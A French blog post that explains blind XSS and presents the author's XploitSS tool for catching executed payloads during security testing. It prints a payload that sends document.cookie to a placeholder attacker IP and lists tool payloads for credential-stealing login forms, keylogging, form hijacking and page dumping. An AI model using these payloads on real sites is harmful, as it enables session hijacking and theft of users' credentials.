Blind XSS

Lorsque vous recherchez une vulnérabilité XSS, généralement, vous utilisez toujours le même payload:

<script>alert()</script>

Pourquoi ce payload ? Eh bien tout simplement parce qu'il va, si la vulnérabilite XSS existe, faire apparaître un pop up sur votre navigateur:

xssed.png

Le souci c'est que pour plusieurs raisons il peut arriver que vous n'ayez aucun retour de votre charge XSS alors que celle-ci a bien été exécuté. Dans ces cas là on parle alors de Blind XSS.

Alors comment faire pour les détecter ? La manière la plus simple consiste à mettre en route un serveur web (apache2, nginx, python web etc.) et d'utiliser le payload suivant sur vos champs:

<script>document.write("http://VOTRE_IP:PORT/?value="+document.cookie)</script>

De cette manière si la charge est effectivement exécuté, une requête HTTP sera émise vers votre serveur ce qui vous permettra de savoir qu'il y a bien un champ vulnérable aux XSS. Pour ma part j'ai poussé le concept un peu plus loin en créant l'outil XploitSS disponible sur Github.

L'outil est assez simple à utiliser, il suffit de lui donner en paramètre l'IP source, un port et optionnellement un fichier d'ouput:

python3 XploitSS.py -i 127.0.0.1 -p 4444

Un serveur web PHP va être monté et sera à l'écoute des requêtes HTTP émise par nos payloads XSS. XploitSS intègre d'ailleurs plusieurs payloads :

  • Informations harvesting (nom de la page vulnérable, nom du domaine, version du navigateur utilisé par la victime)
  • Formulaire d'authentification utilisé pour voler des identifiants de connexion
  • Keylogger
  • Forms hijack (modification de la destination des formulaires dans le but d'exfiltrer des données sensibles
  • HTML sniffer (dump le contenu de la page HTML vulnérable)

Dans un futur proche je rajouterai d'autres payloads tels que le dephase de page web.